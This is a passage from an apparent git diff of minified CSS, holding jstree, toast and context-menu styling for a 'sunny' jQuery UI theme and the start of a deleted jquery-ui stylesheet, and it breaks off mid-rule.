.jstree-anchor{width:calc(100% - 29px);text-overflow:ellipsis;overflow:hidden}.jstree-default.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==)}.jstree-default.jstree-rtl .jstree-last{background:transparent}.jstree-default-small .jstree-node{min-height:18px;line-height:18px;margin-left:18px;min-width:18px}.jstree-default-small .jstree-anchor{line-height:18px;height:18px}.jstree-default-small .jstree-icon{width:18px;height:18px;line-height:18px}.jstree-default-small .jstree-icon:empty{width:18px;height:18px;line-height:18px}.jstree-default-small.jstree-rtl .jstree-node{margin-right:18px}.jstree-default-small .jstree-wholerow{height:18px}.jstree-default-small .jstree-node,.jstree-default-small .jstree-icon{background-image:url(assets/jqueryui/sunny/images/32px.png)}.jstree-default-small .jstree-node{background-position:-295px -7px;background-repeat:repeat-y}.jstree-default-small .jstree-last{background:transparent}.jstree-default-small .jstree-open>.jstree-ocl{background-position:-135px -7px}.jstree-default-small .jstree-closed>.jstree-ocl{background-position:-103px -7px}.jstree-default-small .jstree-leaf>.jstree-ocl{background-position:-71px -7px}.jstree-default-small .jstree-themeicon{background-position:-263px -7px}.jstree-default-small>.jstree-no-dots .jstree-node,.jstree-default-small>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-small>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-39px -7px}.jstree-default-small>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-7px -7px}.jstree-default-small .jstree-disabled{background:transparent}.jstree-default-small .jstree-disabled.jstree-hovered{background:transparent}.jstree-default-small .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default-small .jstree-checkbox{background-position:-167px -7px}.jstree-default-small .jstree-checkbox:hover{background-position:-167px -39px}.jstree-default-small.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-small .jstree-checked>.jstree-checkbox{background-position:-231px -7px}.jstree-default-small.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-small .jstree-checked>.jstree-checkbox:hover{background-position:-231px -39px}.jstree-default-small .jstree-anchor>.jstree-undetermined{background-position:-199px -7px}.jstree-default-small .jstree-anchor>.jstree-undetermined:hover{background-position:-199px -39px}.jstree-default-small .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default-small>.jstree-striped{background-size:auto 36px}.jstree-default-small.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default-small.jstree-rtl .jstree-last{background:transparent}.jstree-default-small.jstree-rtl .jstree-open>.jstree-ocl{background-position:-135px -39px}.jstree-default-small.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-103px -39px}.jstree-default-small.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-71px -39px}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-39px -39px}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-7px -39px}.jstree-default-small .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-small>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/sunny/images/throbber.gif) center center no-repeat}.jstree-default-small .jstree-file{background:url(assets/jqueryui/sunny/images/32px.png) -103px -71px no-repeat}.jstree-default-small .jstree-folder{background:url(assets/jqueryui/sunny/images/32px.png) -263px -7px no-repeat}.jstree-default-small>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default-small{line-height:18px;padding:0 4px}#jstree-dnd.jstree-default-small .jstree-ok,#jstree-dnd.jstree-default-small .jstree-er{background-image:url(assets/jqueryui/sunny/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default-small i{background:transparent;width:18px;height:18px;line-height:18px}#jstree-dnd.jstree-default-small .jstree-ok{background-position:-7px -71px}#jstree-dnd.jstree-default-small .jstree-er{background-position:-39px -71px}.jstree-default-small .jstree-ellipsis{overflow:hidden}.jstree-default-small .jstree-ellipsis .jstree-anchor{width:calc(100% - 23px);text-overflow:ellipsis;overflow:hidden}.jstree-default-small.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAACAQMAAABv1h6PAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMHBgAAiABBI4gz9AAAAABJRU5ErkJggg==)}.jstree-default-small.jstree-rtl .jstree-last{background:transparent}.jstree-default-large .jstree-node{min-height:32px;line-height:32px;margin-left:32px;min-width:32px}.jstree-default-large .jstree-anchor{line-height:32px;height:32px}.jstree-default-large .jstree-icon{width:32px;height:32px;line-height:32px}.jstree-default-large .jstree-icon:empty{width:32px;height:32px;line-height:32px}.jstree-default-large.jstree-rtl .jstree-node{margin-right:32px}.jstree-default-large .jstree-wholerow{height:32px}.jstree-default-large .jstree-node,.jstree-default-large .jstree-icon{background-image:url(assets/jqueryui/sunny/images/32px.png)}.jstree-default-large .jstree-node{background-position:-288px 0;background-repeat:repeat-y}.jstree-default-large .jstree-last{background:transparent}.jstree-default-large .jstree-open>.jstree-ocl{background-position:-128px 0}.jstree-default-large .jstree-closed>.jstree-ocl{background-position:-96px 0}.jstree-default-large .jstree-leaf>.jstree-ocl{background-position:-64px 0}.jstree-default-large .jstree-themeicon{background-position:-256px 0}.jstree-default-large>.jstree-no-dots .jstree-node,.jstree-default-large>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-large>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-32px 0}.jstree-default-large>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:0 0}.jstree-default-large .jstree-disabled{background:transparent}.jstree-default-large .jstree-disabled.jstree-hovered{background:transparent}.jstree-default-large .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default-large .jstree-checkbox{background-position:-160px 0}.jstree-default-large .jstree-checkbox:hover{background-position:-160px -32px}.jstree-default-large.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-large .jstree-checked>.jstree-checkbox{background-position:-224px 0}.jstree-default-large.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-large .jstree-checked>.jstree-checkbox:hover{background-position:-224px -32px}.jstree-default-large .jstree-anchor>.jstree-undetermined{background-position:-192px 0}.jstree-default-large .jstree-anchor>.jstree-undetermined:hover{background-position:-192px -32px}.jstree-default-large .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default-large>.jstree-striped{background-size:auto 64px}.jstree-default-large.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default-large.jstree-rtl .jstree-last{background:transparent}.jstree-default-large.jstree-rtl .jstree-open>.jstree-ocl{background-position:-128px -32px}.jstree-default-large.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-96px -32px}.jstree-default-large.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-64px -32px}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-32px -32px}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:0 -32px}.jstree-default-large .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-large>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/sunny/images/throbber.gif) center center no-repeat}.jstree-default-large .jstree-file{background:url(assets/jqueryui/sunny/images/32px.png) -96px -64px no-repeat}.jstree-default-large .jstree-folder{background:url(assets/jqueryui/sunny/images/32px.png) -256px 0 no-repeat}.jstree-default-large>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default-large{line-height:32px;padding:0 4px}#jstree-dnd.jstree-default-large .jstree-ok,#jstree-dnd.jstree-default-large .jstree-er{background-image:url(assets/jqueryui/sunny/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default-large i{background:transparent;width:32px;height:32px;line-height:32px}#jstree-dnd.jstree-default-large .jstree-ok{background-position:0 -64px}#jstree-dnd.jstree-default-large .jstree-er{background-position:-32px -64px}.jstree-default-large .jstree-ellipsis{overflow:hidden}.jstree-default-large .jstree-ellipsis .jstree-anchor{width:calc(100% - 37px);text-overflow:ellipsis;overflow:hidden}.jstree-default-large.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAACAQMAAAAD0EyKAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjgIIGBgABCgCBvVLXcAAAAABJRU5ErkJggg==)}.jstree-default-large.jstree-rtl .jstree-last{background:transparent}@media (max-width:768px){#jstree-dnd.jstree-dnd-responsive{line-height:40px;font-weight:700;font-size:1.1em;text-shadow:1px 1px #fff}#jstree-dnd.jstree-dnd-responsive>i{background:transparent;width:40px;height:40px}#jstree-dnd.jstree-dnd-responsive>.jstree-ok{background-image:url(assets/jqueryui/sunny/images/40px.png);background-position:0 -200px;background-size:120px 240px}#jstree-dnd.jstree-dnd-responsive>.jstree-er{background-image:url(assets/jqueryui/sunny/images/40px.png);background-position:-40px -200px;background-size:120px 240px}#jstree-marker.jstree-dnd-responsive{border-left-width:10px;border-top-width:10px;border-bottom-width:10px;margin-top:-10px}.jstree-default-responsive .jstree-icon{background-image:url(assets/jqueryui/sunny/images/40px.png)}.jstree-default-responsive .jstree-node,.jstree-default-responsive .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-responsive .jstree-node{min-height:40px;line-height:40px;margin-left:40px;min-width:40px;white-space:nowrap}.jstree-default-responsive .jstree-anchor{line-height:40px;height:40px}.jstree-default-responsive .jstree-icon,.jstree-default-responsive .jstree-icon:empty{width:40px;height:40px;line-height:40px}.jstree-default-responsive>.jstree-container-ul>.jstree-node{margin-left:0}.jstree-default-responsive.jstree-rtl .jstree-node{margin-left:0;margin-right:40px;background:transparent}.jstree-default-responsive.jstree-rtl .jstree-container-ul>.jstree-node{margin-right:0}.jstree-default-responsive .jstree-ocl,.jstree-default-responsive .jstree-themeicon,.jstree-default-responsive .jstree-checkbox{background-size:120px 240px}.jstree-default-responsive .jstree-leaf>.jstree-ocl,.jstree-default-responsive.jstree-rtl .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-responsive .jstree-open>.jstree-ocl{background-position:0 0!important}.jstree-default-responsive .jstree-closed>.jstree-ocl{background-position:0 -40px!important}.jstree-default-responsive.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-40px 0!important}.jstree-default-responsive .jstree-themeicon{background-position:-40px -40px}.jstree-default-responsive .jstree-checkbox,.jstree-default-responsive .jstree-checkbox:hover{background-position:-40px -80px}.jstree-default-responsive.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-responsive.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-responsive .jstree-checked>.jstree-checkbox,.jstree-default-responsive .jstree-checked>.jstree-checkbox:hover{background-position:0 -80px}.jstree-default-responsive .jstree-anchor>.jstree-undetermined,.jstree-default-responsive .jstree-anchor>.jstree-undetermined:hover{background-position:0 -120px}.jstree-default-responsive .jstree-anchor{font-weight:700;font-size:1.1em;text-shadow:1px 1px #fff}.jstree-default-responsive>.jstree-striped{background:transparent}.jstree-default-responsive .jstree-wholerow{border-top:1px solid rgba(255,255,255,.7);border-bottom:1px solid rgba(64,64,64,.2);background:#ebebeb;height:40px}.jstree-default-responsive .jstree-wholerow-hovered{background:#e7f4f9}.jstree-default-responsive .jstree-wholerow-clicked{background:#beebff}.jstree-default-responsive .jstree-children .jstree-last>.jstree-wholerow{box-shadow:inset 0 -6px 3px -5px #666}.jstree-default-responsive .jstree-children .jstree-open>.jstree-wholerow{box-shadow:inset 0 6px 3px -5px #666;border-top:0}.jstree-default-responsive .jstree-children .jstree-open + .jstree-open{box-shadow:none}.jstree-default-responsive .jstree-node,.jstree-default-responsive .jstree-icon,.jstree-default-responsive .jstree-node>.jstree-ocl,.jstree-default-responsive .jstree-themeicon,.jstree-default-responsive .jstree-checkbox{background-image:url(assets/jqueryui/sunny/images/40px.png);background-size:120px 240px}.jstree-default-responsive .jstree-node{background-position:-80px 0;background-repeat:repeat-y}.jstree-default-responsive .jstree-last{background:transparent}.jstree-default-responsive .jstree-leaf>.jstree-ocl{background-position:-40px -120px}.jstree-default-responsive .jstree-last>.jstree-ocl{background-position:-40px -160px}.jstree-default-responsive .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-responsive .jstree-file{background:url(assets/jqueryui/sunny/images/40px.png) 0 -160px no-repeat;background-size:120px 240px}.jstree-default-responsive .jstree-folder{background:url(assets/jqueryui/sunny/images/40px.png) -40px -40px no-repeat;background-size:120px 240px}.jstree-default-responsive>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}}.toast-container{width:280px;z-index:9999}* html .toast-container{position:absolute}.toast-item{height:auto;background:#817865 url(assets/jqueryui/sunny/images/ui-bg_gloss-wave_45_817865_500x100.png) 50% 50% repeat-x;opacity:1;-webkit-border-radius:10px;color:#fff;font-family:Segoe UI,Arial,sans-serif;font-size:14px;font-weight:700;border:2px solid #494437;display:block;position:relative;margin:0 0 12px;padding:20px 6px}.toast-item p{text-align:left;margin-left:50px}.toast-item-close{background:url(assets/jqueryui/sunny/images/close.gif);width:22px;height:22px;position:absolute;top:7px;right:7px}.toast-item-image{width:32px;height:32px;position:absolute;top:50%;margin-top:-16px;left:10px}.toast-item-image-notice{background:url(assets/jqueryui/sunny/images/notice.png)}.toast-item-image-success{background:url(assets/jqueryui/sunny/images/success.png)}.toast-item-image-warning{background:url(assets/jqueryui/sunny/images/warning.png)}.toast-item-image-error{background:url(assets/jqueryui/sunny/images/error.png)}.toast-type-notice{color:#fff}.toast-type-success{color:#fff}.toast-type-warning{border-color:#eeb420;background:#fff9e5 url(assets/jqueryui/sunny/images/ui-bg_gloss-wave_90_fff9e5_500x100.png) 50% top repeat-x;color:#1f1f1f}.toast-type-error{border-color:#ffb73d;background:#d34d17 url(assets/jqueryui/sunny/images/ui-bg_diagonals-medium_20_d34d17_40x40.png) 50% 50% repeat;color:#fff}.toast-type-warning .toast-item-close{display:none}.toast-position-top-left{position:fixed;left:6%;top:15px}.toast-position-top-center{position:fixed;top:15px;left:50%;margin-left:-140px}.toast-position-top-right{position:fixed;top:15px;right:6%}.toast-position-middle-left{position:fixed;left:6%;top:50%;margin-top:-40px}.toast-position-middle-center{position:fixed;left:50%;margin-left:-140px;margin-top:-40px;top:50%}.toast-position-middle-right{position:fixed;right:6%;margin-left:-140px;margin-top:-40px;top:50%}.inverted-font{color:#FEEEBD!important}.fa-inverse{color:#FEEEBD!important}.context-menu-list{background-color:#FEEEBD!important}.context-menu-item{background-color:#FEEEBD!important;color:#2C4359!important}.context-menu-icon::before{color:#BC8300!important}.context-menu-icon.context-menu-hover:before{color:#FECE2F!important}.context-menu-item.context-menu-hover{color:#0074C7!important;#padding:1px,1px,1px,1px!important;#border:1px solid #2980b9!important;background-color:#fff!important}.context-menu-icon.context-menu-disabled::before{color:#ced4da!important}.context-menu-icon.context-menu-icon--fa::before{color:#BC8300!important}.context-menu-icon.context-menu-icon--fa.context-menu-hover:before{color:#FECE2F!important}.context-menu-icon.context-menu-icon--fa.context-menu-disabled::before{color:#ced4da!important}.context-menu-icon.context-menu-icon--fa5 i,.context-menu-icon.context-menu-icon--fa5 svg{color:#BC8300!important}.context-menu-icon.context-menu-icon--fa5.context-menu-hover > i,.context-menu-icon.context-menu-icon--fa5.context-menu-hover > svg{color:#D19405!important}.context-menu-icon.context-menu-icon--fa5.context-menu-disabled i,.context-menu-icon.context-menu-icon--fa5.context-menu-disabled svg{color:#ced4da!important}.context-menu-item.context-menu-disabled{color:#ced4da!important}.cm{cursor:url(assets/jqueryui/sunny/images/cm.cur),context-menu!important}.main-tabs{border-color:#d19405 #494437 #494437!important}.main-title{#border-color:#d19405!important} \ No newline at end of file diff --git a/assets/jqueryui/sunny/jquery-ui.pmin.css b/assets/jqueryui/sunny/jquery-ui.pmin.css deleted file mode 100644 index 1382675..0000000 --- a/assets/jqueryui/sunny/jquery-ui.pmin.css +++ /dev/null @@ -1 +0,0 @@ -.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:before,.ui-helper-clearfix:after{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important;pointer-events:none}.ui-icon{display:inline-block;vertical-align:middle;margin-top:-.25em;position:relative;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-icon-block{left:50%;margin-left:-8px;display:block}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-accordion .ui-accordion-header{display:block;cursor:pointer;position:relative;margin:2px 0 0 0;padding:.5em .5em .5em .7em;font-size:100%}.ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;overflow:auto}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:0}.ui-menu .ui-menu{position:absolute}.ui-menu .ui-menu-item{margin:0;cursor:pointer;list-style-image:url(assets/jqueryui/sunny/images/list-style.gif)}.ui-menu .ui-menu-item-wrapper{position:relative;padding:3px 1em 3px .4em}.ui-menu .ui-menu-divider{margin:5px 0;height:0;font-size:0;line-height:0;border-width:1px 0 0 0}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px}.ui-menu-icons{position:relative}.ui-menu-icons .ui-menu-item-wrapper{padding-left:2em}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0}.ui-menu .ui-menu-icon{left:auto;right:0}.ui-button{padding:.4em 1em;display:inline-block;position:relative;line-height:normal;margin-right:.1em;cursor:pointer;vertical-align:middle;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;overflow:visible}.ui-button,.ui-button:link,.ui-button:visited,.ui-button:hover,.ui-button:active{text-decoration:none}.ui-button-icon-only{width:2em;box-sizing:border-box;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-button-icon-only{text-indent:0}.ui-button-icon-only .ui-icon{position:absolute;top:50%;left:50%;margin-top:-8px;margin-left:-8px}.ui-button.ui-icon-notext .ui-icon{padding:0;width:2.1em;height:2.1em;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-icon-notext .ui-icon{width:auto;height:auto;text-indent:0;white-space:normal;padding:.4em 1em}input.ui-button::-moz-focus-inner,button.ui-button::-moz-focus-inner{border:0;padding:0}.ui-controlgroup{vertical-align:middle;display:inline-block}.ui-controlgroup>.ui-controlgroup-item{float:left;margin-left:0;margin-right:0}.ui-controlgroup>.ui-controlgroup-item:focus,.ui-controlgroup>.ui-controlgroup-item.ui-visual-focus{z-index:9999}.ui-controlgroup-vertical>.ui-controlgroup-item{display:block;float:none;width:100%;margin-top:0;margin-bottom:0;text-align:left}.ui-controlgroup-vertical .ui-controlgroup-item{box-sizing:border-box}.ui-controlgroup .ui-controlgroup-label{padding:.4em 1em}.ui-controlgroup .ui-controlgroup-label span{font-size:80%}.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item{border-left:none}.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item{border-top:none}.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content{border-right:none}.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content{border-bottom:none}.ui-controlgroup-vertical .ui-spinner-input{width:75%;width:calc(100% - 2.4em)}.ui-controlgroup-vertical .ui-spinner .ui-spinner-up{border-top-style:solid}.ui-checkboxradio-label .ui-icon-background{-webkit-box-shadow:inset 1px 1px 1px #ccc;-webkit-border-radius:.12em;border:none}.ui-checkboxradio-radio-label .ui-icon-background{width:16px;height:16px;-webkit-border-radius:1em;overflow:visible;border:none}.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon{background-image:none;width:8px;height:8px;border-width:4px;border-style:solid}.ui-checkboxradio-disabled{pointer-events:none}.ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker .ui-datepicker-prev-hover,.ui-datepicker .ui-datepicker-next-hover{top:1px}.ui-datepicker .ui-datepicker-prev{left:2px}.ui-datepicker .ui-datepicker-next{right:2px}.ui-datepicker .ui-datepicker-prev-hover{left:1px}.ui-datepicker .ui-datepicker-next-hover{right:1px}.ui-datepicker .ui-datepicker-prev span,.ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:45%}.ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:700;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em .6em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-datepicker .ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;left:.5em;top:.3em}.ui-dialog{position:absolute;top:0;left:0;padding:.2em;outline:0}.ui-dialog .ui-dialog-titlebar{padding:.4em 1em;position:relative}.ui-dialog .ui-dialog-title{float:left;margin:.1em 0;white-space:nowrap;width:90%;overflow:hidden;text-overflow:ellipsis}.ui-dialog .ui-dialog-titlebar-close{position:absolute;right:.3em;top:50%;width:20px;margin:-10px 0 0 0;padding:1px;height:20px}.ui-dialog .ui-dialog-content{position:relative;border:0;padding:.5em 1em;background:none;overflow:auto}.ui-dialog .ui-dialog-buttonpane{text-align:left;border-width:1px 0 0 0;background-image:none;margin-top:.5em;padding:.3em 1em .5em .4em}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{float:right}.ui-dialog .ui-dialog-buttonpane button{margin:.5em .4em .5em 0;cursor:pointer}.ui-dialog .ui-resizable-n{height:2px;top:0}.ui-dialog .ui-resizable-e{width:2px;right:0}.ui-dialog .ui-resizable-s{height:2px;bottom:0}.ui-dialog .ui-resizable-w{width:2px;left:0}.ui-dialog .ui-resizable-se,.ui-dialog .ui-resizable-sw,.ui-dialog .ui-resizable-ne,.ui-dialog .ui-resizable-nw{width:7px;height:7px}.ui-dialog .ui-resizable-se{right:0;bottom:0}.ui-dialog .ui-resizable-sw{left:0;bottom:0}.ui-dialog .ui-resizable-ne{right:0;top:0}.ui-dialog .ui-resizable-nw{left:0;top:0}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-disabled .ui-resizable-handle,.ui-resizable-autohide .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-progressbar{height:2em;text-align:left;overflow:hidden;border:1px solid #d19405;background:#bcb6a9!important;-webkit-border-radius:4px;overflow:hidden}.ui-progressbar .ui-progressbar-value{margin:-1px;height:100%;border:1px solid #d19405}.ui-progressbar .ui-progressbar-overlay{background:url(assets/jqueryui/sunny/images/pb.gif);height:100%;filter:alpha(opacity=25);opacity:.25;border:1px solid #d19405;-webkit-border-radius:4px;overflow:hidden}.ui-progressbar-indeterminate .ui-progressbar-value{background-image:none;border:1px solid #d19405;-webkit-border-radius:4px;overflow:hidden}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted black}.ui-selectmenu-menu{padding:0;margin:0;position:absolute;top:0;left:0;display:none}.ui-selectmenu-menu .ui-menu{overflow:auto;overflow-x:hidden;padding-bottom:1px}.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup{font-size:1em;font-weight:700;line-height:1.5;padding:2px .4em;margin:.5em 0 0 0;height:auto;border:0}.ui-selectmenu-open{display:block}.ui-selectmenu-text{display:block;margin-right:20px;overflow:hidden;text-overflow:ellipsis}.ui-selectmenu-button.ui-button{text-align:left;white-space:nowrap;width:14em}.ui-selectmenu-icon.ui-icon{float:right;margin-top:0}.ui-slider{position:relative;text-align:left}.ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default;-ms-touch-action:none;touch-action:none}.ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0}.ui-slider.ui-state-disabled .ui-slider-handle,.ui-slider.ui-state-disabled .ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em}.ui-slider-horizontal .ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.ui-slider-horizontal .ui-slider-range-min{left:0}.ui-slider-horizontal .ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical .ui-slider-range{left:0;width:100%}.ui-slider-vertical .ui-slider-range-min{bottom:0}.ui-slider-vertical .ui-slider-range-max{top:0}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-spinner{position:relative;display:inline-block;overflow:hidden;padding:0;vertical-align:middle}.ui-spinner-input{border:none;background:none;color:inherit;padding:.222em 0;margin:.2em 